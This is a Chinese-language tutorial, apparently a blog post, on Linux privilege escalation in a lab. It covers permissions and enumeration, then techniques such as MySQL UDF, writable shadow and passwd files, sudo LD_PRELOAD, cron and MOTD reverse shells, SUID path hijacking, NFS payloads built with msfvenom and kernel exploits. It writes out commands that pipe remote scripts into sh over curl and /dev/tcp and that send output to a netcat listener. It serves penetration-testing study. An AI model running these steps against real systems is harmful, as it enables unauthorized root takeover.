linux提权详细(超级全)

Linux 中特权升级的最终目标是获得root用户

用户、组、文件、目录

四者之间的关系

用户可以属于多个组。组可以具有多个用户。

每个文件和目录都根据用户、组和"其他用户"(所有其他用户)来定义其权限。

用户

用户帐户配置在/etc/passwd文件。

用户密码哈希存储在/etc/shadow文件中。

用户由整数用户 ID (UID)识别。

root用户帐户是 Linux 中的一种特殊类型的帐户。它的 UID 为 0,系统允许此用户访问每个文件。

组配置在/etc/group文件中。

用户有一个主要组,并且可以有multiple二级(或补充)组。

默认情况下,用户的主要组与用户帐户的名称相同。

文件和目录

所有文件和目录都有一个所有者和一个组。

权限以读取、编写和执行操作的方式定义。

有三组权限,一组为所有者,一组为组,一组为所有"其他"用户

只有所有者才能更改权限

权限

文件权限

• Read -设置后,可以读取文件内容。

• Write -设置后,文件 内容可以修改。

• Execute -设置后,文件可以执行 (即作为某种过程运行 )。

目录权限

• Execute 设置时,目录可以输入。未经此许可,读取或写入权限均不起作用。

• Read -设置时,目录内容可以列出。

• Write -设置时,文件和子目录可以在目录中创建。

特殊权限

• setuid (SUID) bit

设置后,文件将使用文件所有者的权限执行。

• setgid (SGID) bit

设置在文件上时,文件将使用文件组的权限执行。

设置在目录上时,该目录内创建的文件将继承目录本身的组。

查看权限

ls命令可以查看权限

ls -l /bin/date

image-20230925201533992

简单阐述一下: 前10个字符表示对文件设置的权限或目录。

第一个字符只是表示类型,

例如,

“-” 表示普通文件,如.txt,.c,*.h “d” 表示目录,directory “l” 表示软链接文件(ln -s 创建的),link file “p” 表示pipe管道文件 “b” 表示块设备文件,block device “c” 表示字符设备文件,char device “s” 表示socket套接字文件,用于实现两个进程间通信

剩下的9个字符代表3组权限(所有者、组、其他)

每组包含3个字符,表示读(r)、写(r),可执行(x)

SUID/SGID权限由中的s表示执行位置

3个一组,共3组,拿

[rwx][r-x][r-x]

这3组分别表示文件所有者的权限,组的权限和其他用户的权限。

r(read,读权限) :对文件来说,具有读取文件内容的权限;对目录来说,具有浏览目录及子目录的权限。 w(write,写权限):对文件来说,具有修改、删除文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。 x(execute,执行权限):对文件来说,具有执行文件的权限;对目录来说,该用户具有进入目录的权限。

—:表示无任何权限

真实、有效和保存的UID/GID

用户是由用户ID标识的

在linux中,每个用户有3个用户id(real、effective、saved)

用户的真实ID是/etc/passwd中定义的ID

用户的有效id通常等于其真实ID,但是作为另一个用户执行一个进程时,有效id被设置为该用户的真实身份

在大多数访问控制决策中,有效ID用于验证用户,

whoami等命令使用有效id

最后保存的id用于确保SUID进程

临时将用户的有效id切换回其真实ID并返回,在不丢弃原始有效ID的情况下

实操

真实有效的用户/组id

linux提权详细(超级全)_第1张图片

  1. uid=1000(swq):这表示用户的UID(用户标识号),在这里是1000。UID是一个唯一的数字,用于标识系统上的每个用户。括号中的文字 "swq" 是用户名,与UID关联。

  2. gid=1000(swq):这表示用户所属的主要组的GID(组标识号),在这里也是1000。与UID类似,GID是一个唯一的数字,用于标识用户所属的主要组。括号中的文字 "swq" 是主要组的组名。

  3. 组=1000(swq),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),117(wireshark),120(bluetooth),129(scanner),140(kaboxer):这是用户所属的其他附加组的信息。每个组都有一个唯一的GID和一个名称,这些组分别是用户所属的附加组。在括号中,数字表示GID,括号外的文字表示组名。用户可以属于多个组,以便具有不同的权限和访问

当前进程(即我们的shell)

真实、有效、已保存和文件系统用户/组

cat /proc/$$/status | grep "[UG]id"

image-20230925204006669

目的是获取当前正在运行的 shell 进程的用户标识(UID)和组标识(GID)信息。

以下是输出的解释:

  1. Uid: 1000 1000 1000 1000:这一行显示了与用户标识(UID)相关的信息。UID是用户的唯一标识号,用于识别用户。在这里,有四个数字,分别是 1000。这些数字通常表示以下含义:

    • 第一个数字是实际的用户UID(即启动该进程的用户的UID)。

    • 第二个数字是有效用户UID,通常与实际UID相同。

    • 第三个数字是保存的设置用户ID(setuid)。

    • 第四个数字是保存的设置组ID(setgid)。

  2. Gid: 1000 1000 1000 1000:这一行显示了与组标识(GID)相关的信息。GID是用户所属的主要组的标识号。在这里,与UID一样,有四个数字,分别是 1000。这些数字通常表示以下含义:

    • 第一个数字是实际的组GID(即启动该进程的用户的主要组的GID)。

    • 第二个数字是有效组GID,通常与实际GID相同。

    • 第三个数字是保存的设置组ID(setgid)。

    • 第四个数字是无用的,通常会与有效GID相同。

手动枚举

whoami                   # 查看当前用户权限,如果是root用户就不用提权;
id                       # 查看当前id的uid和gid,和权限
id+其他用户               # 查看某个用户
who                      # 查看其他登录状态的用户用户
w                        # 当前用户的具体信息
last                     # 最近登录进来的用户
uname -a                 # 查看linux操作系统内核信息
uname -r                 # 查看内核版本
cat /proc/version        # 查看linux系统当前操作系统版本信息
cat /etc/issue           # 查看linux当前操作系统发行版本信息
cat /etc/redhat-releas   # 查看linux当前操作系统发行版本信息
cat /etc/*-release       # 查看linux当前操作系统发行版本信息
ip addr                  # 查看当前用户的网卡和ip
ip route                 # 查看路由
ip neigh                 # 查看网络邻居
arp -a                   # 查看局域网中绑定的ip地址
hostname                 # 查看机器名称
hostnamectl              # 显示的名称更加全
​
sudo -l                  # 查看那些是可以以root权限运行的用户
getcap -r / 2>/dev/null  # 利用缺陷提权,
ls -a                    # 
history                  # 历史记录
cat /etc/passwd          # 查看用户数有bash的用户
cat /etc/crontab         # 查看是否有自动任务
echo $PATH               # 查看是否有特殊路径
env                      # 看整体环境变量
ps -ef                   # 查看进程
ps axjf                  # 查看进程个数,x指没有连接终端的进程
ps aux                   # 查看进程个数 a所有 u指使用的用户
top                      # 查看进程,在不断的刷新
top -n 1                 # 查看进程,但不刷新
netstat -a               # 查看占用进程的端口及id
netstat -at/-au          # 查看带有tcp或者udp的进程
netstat -l               #查看那些端口在被监听
netstat -ano             # 
find / -perm -u=s -type f 2>/dev/null # 列出有usr的文件
which awk perl python ruby gcc vi vim nmap find screen 2>/dev/null #查看用户是否安装vi vim...   可以用which查看那些可执行文件
cat /etc/fstab           #查看那些磁盘没挂载

自动化枚举(可能会暴露流量,容易遗漏)

工具

PEASS-ng

执行:

1.可以下载本地执行

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh

加权 chmod +x linpeas.sh 然后 ./linpeas.sh运行

2.也可直接(官方推荐)

curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh | sh

当靶机不能访问网络时,通过外机传入linpeas

首先在外机上下载linpeas

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh

然后再开启web服务

sudo python3 -m http.server 80

linux提权详细(超级全)_第2张图片

然后在靶机上连接外机

curl 192.168.178.141/linpeas.sh | sh

linux提权详细(超级全)_第3张图片

如何传回外机

在外机监听并存成txt

sudo nc -lvnp 81 | tee linpeas.txt

靶机中输入

curl 192.168.178.141/linpeas.sh | sh | nc 192.168.178.141 81

image-20230927192159650

返回外机查看

linux提权详细(超级全)_第4张图片

已经开始扫描了

最后通过下面命令查看文本(防止乱码)

less -r linpeas.txt

linux提权详细(超级全)_第5张图片

当curl不能用时,可以试试cat

在外机上输入

sudo nc -lvnp 80 < linpeas.sh

在靶机上输入

cat < /dev/tcp/192.168.178.141/80 | sh

其它工具:

LinEnum

Linux-smart-enumeration

Linux-exploit-suggester

unix-privesc-check

服务漏洞提权mysql-UDF

UDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码,并且可以远程连接。我们远程登录上了mysql服务器,这时,我们想通过mysql来执行系统命令,此时我们可以考虑使用UDF进行提权。

UDF是什么 UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。

当获得的用户权限过大

可以使用UDF提权

searchsploit mysql udf

linux提权详细(超级全)_第6张图片

将1518文件下载下来

searchsploit mysql udf -m 1518

ls

cat 1518.c

linux提权详细(超级全)_第7张图片

再文件中已经说明提权过程

linux提权详细(超级全)_第8张图片

gcc -g -c 1518.c -FPIC (FPIC用于共享)

共享文件已经生成

linux提权详细(超级全)_第9张图片

然后登录到mysql的数据库中

sudo mysql -u root -p

linux提权详细(超级全)_第10张图片

查看是否有权限及secure_file_priv为空

show variables like '%secure_file_priv%';

linux提权详细(超级全)_第11张图片

show variables like '%plugin%';

linux提权详细(超级全)_第12张图片

然后按照上面文件给的操作

use mysql;

create table foo(line blob);

insert into foo values(load_file('/home/swq/

linux提权详细(超级全)_第13张图片

然后继续按照.c文件操作即可

linux提权详细(超级全)_第14张图片

可读shadow文件利用

通过枚举查看shadow文件,发现可读,为什么查看shadow文件,因为之前root密码都是存在passwd文件,现在shadow中也有,并且以哈希存储

ls -liah /etc/shadow

查看shadow文件

cat /etc/shadow/

linux提权详细(超级全)_第15张图片

找到带有哈希值的文件

cat /etc/shadow | grep ':$'

image-20230930101706914

对其进行破解便有账号密码

当不知道是什么加密是时候可以用工具hash-identifier识别

linux提权详细(超级全)_第16张图片

要善于拷贝shadow文件,方便更改后的还原

cp /etc/shadow /tmp/shadow.txt

可以使用mkpasswd生成哈希值放到可写的sahdow文件里

mkpasswd -m sha-512 Redteamnotes

那么更改的密码就会生效了

更改passwd中root密码提权

在自己卡里上给passwd可写权限

linux提权详细(超级全)_第17张图片

查看passwd文件,发现root就是我们的目标,其中x就是我们要替换的密码,因为密码会以哈希的形式存入shadow文件,最后passwd里是x

linux提权详细(超级全)_第18张图片

用openssl生成密码的hash,然后替换root后面的x,就可更改root密码

linux提权详细(超级全)_第19张图片

sudo环境变量提权

sudo -l 查看环境变量

有env_reset 和env_keep俩选项说明是可以提权的

linux提权详细(超级全)_第20张图片

创建一个C语言文件

vim shell.c

输入以下文件

linux提权详细(超级全)_第21张图片

使用的共享库,所有要用共享库的语法编译

gcc -fPIC -shared -o shell.so -nostartfile

linux提权详细(超级全)_第22张图片

然后通过共享库使用sudo中无密码使用的find的工具,完成提权

linux提权详细(超级全)_第23张图片

自动任务提权

查看自动任务,可以看到root会自动执行那个.sh文件 cat /etc/crontab

linux提权详细(超级全)_第24张图片

那么查看overwrite.sh文件的位置、权限、内容

linux提权详细(超级全)_第25张图片

发现可写,就看写入反弹shell,进行监听

image-20230930120523070

一分钟之内就会收到shell,拿到root权限

linux提权详细(超级全)_第26张图片

自动任务PATH环境变量提权

前提

1.crontab只会执行crontab中的路径集

2.path有家目录,会优先运行家目录优先级靠前的文件

linux提权详细(超级全)_第27张图片

向overwrite.sh输入执行脚本

linux提权详细(超级全)_第28张图片

一分钟后,便可提权

linux提权详细(超级全)_第29张图片

suid可执行文件已知利用提权

查找并列出所有设置了"setuid"权限位的可执行文件(普通文件),关注其中exim-4.84-3

find / -perm -u=s -type f 2>/dev/null

linux提权详细(超级全)_第30张图片

查找4.84

searchsploit exim

linux提权详细(超级全)_第31张图片

下载下来

searchsploit exim -m 39535.sh

查看文件

linux提权详细(超级全)_第32张图片

架设服务器,用于在靶机下载刚刚那个文件

image-20230930213206827

靶机输入

wget http://10.10.10.10/39535.sh

linux提权详细(超级全)_第33张图片

给权,然后执行文件获得root权限

linux提权详细(超级全)_第34张图片

SUID共享库注入提权

直接执行可执行文件suid -so

linux提权详细(超级全)_第35张图片

直接strings /usr/local/bin/suid-so

查看可读字符串

linux提权详细(超级全)_第36张图片

对strings进行追踪,发现没有目录,那就创建文件

strace /usr/local/bin/suid-so 2>&1 | grep '/home'

linux提权详细(超级全)_第37张图片

写入提权命令

linux提权详细(超级全)_第38张图片

执行共享库

gcc -shared -fPIC -o libcalc.so libcalc.c

然后执行可执行文件

linux提权详细(超级全)_第39张图片

SUID环境变量利用提权

利用suid-env进行提权

linux提权详细(超级全)_第40张图片

查看看到最后是相对路径,并不是绝对路径,可以对其进行劫持,使其执行我们提供的相对路径的service文件

linux提权详细(超级全)_第41张图片

vim service.c

写入C语言提权代码

linux提权详细(超级全)_第42张图片

执行

linux提权详细(超级全)_第43张图片

要对路径进行指定,这样就可以优先读取家目录下的service服务

export PATH=.:$PATH

linux提权详细(超级全)_第44张图片

执行可执行文件

linux提权详细(超级全)_第45张图片

巧用SUID-SHELL功能提权#1

在bash版本号小于4.2时,可以在bash中定义函数,然后用路径的组合做文件名,所以正好契合上面service的利用方式

linux提权详细(超级全)_第46张图片

function /usr/sbin/service { /bin/bash -p; }

最后导入环境变量

export -f /usr/sbin/service

linux提权详细(超级全)_第47张图片

密码和密钥历史文件提权

输入history查看

linux提权详细(超级全)_第48张图片

可以看到

里面有mysql的root账密

可能root用户的密码也是,可以尝试一下

没问题,,是的

也可以输入cat ~/.*history | les

查找和history相关的文件

linux提权详细(超级全)_第49张图片

也要有查看特殊文件的习惯,比如.viminfo可能会有密码的输入

ls -liah

linux提权详细(超级全)_第50张图片

密码和密钥配置文件的查看特权

家目录先的所有文件都要翻翻看看

比如my.o

查看那个txt文件,就有root账密

linux提权详细(超级全)_第51张图片

SSH密钥敏感信息提权

到根目录下查找.ssh文件,这个很重要因为不仅高权限用户可以登录ssh,低权限用户也可以登录

到.ssh文件下发现root_key

linux提权详细(超级全)_第52张图片

复制key,对文本加权

尝试连接

发现签名不对,你就直接加

linux提权详细(超级全)_第53张图片

NFS提权

NFS文件共享的意思,网络文件共享,可以用于撕口子也可以用于提权

cat /etc/exports

查看是否有NFS服务

linux提权详细(超级全)_第54张图片

建立NFS,反弹shell

mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs

注意这里版本为3.

发现要创建软连接

linux提权详细(超级全)_第55张图片

到tmp下查看一下我们创建的软连接

linux提权详细(超级全)_第56张图片

利用linux的msf生成shell

msfvenom -p linux/x86/exec CMD="/bin/bash-p" -f elf -o /tmp/nfs/shell.elf

然后给文件权限

linux提权详细(超级全)_第57张图片

到俩台主机的共享文件下运行shell文件

linux提权详细(超级全)_第58张图片

内核利用提权

一般渗透最后办法了在利用内核提权,很需要经验

uname -a

查看内核,版本越低漏洞越多

然后同上linpeass的使用(不能访问外网)

image-20231001191332426

然后查看searchsploit 40611

并下载文件searchsploit -m 40611

linux提权详细(超级全)_第59张图片

一样每一步都有

linux提权详细(超级全)_第60张图片

外机上建立web服务

sudo php -s 0:80

linux提权详细(超级全)_第61张图片

靶机访问

wget kali-ip/40611.c

linux提权详细(超级全)_第62张图片

之后就按照他说的做就行

也可以查找漏洞利用的其他方法,进行比较

image-20231001192325507

操作

linux提权详细(超级全)_第63张图片

doas less+vi 提权

查看可利用文件

linux提权详细(超级全)_第64张图片

查看doas文件发现,上面说只要保持环境变量就能执行后面的命令

image-20231001193747105

接下来相当用less来查看文件

然后ESC+:!sh即可执行doas里var权限

image-20231001194059369

利用MOTD机制提权

查看motd文件

cd /etc/update-motd.d

里面有00-header文件是欢迎文件,一般等用户登录上就会直接执行

linux提权详细(超级全)_第65张图片

那么接下来就写入反弹shell进行监听

linux提权详细(超级全)_第66张图片

等待靶机登录,就会执行shell

linux提权详细(超级全)_第67张图片

一些重要命令

python -c 'import pty;pty.spawn("/bin/bash")'

stty raw -echo

export TERM=xterm-color

rlwrap nc -lvnp 443 #可以包裹监听内容

你可能感兴趣的:(java,服务器,linux)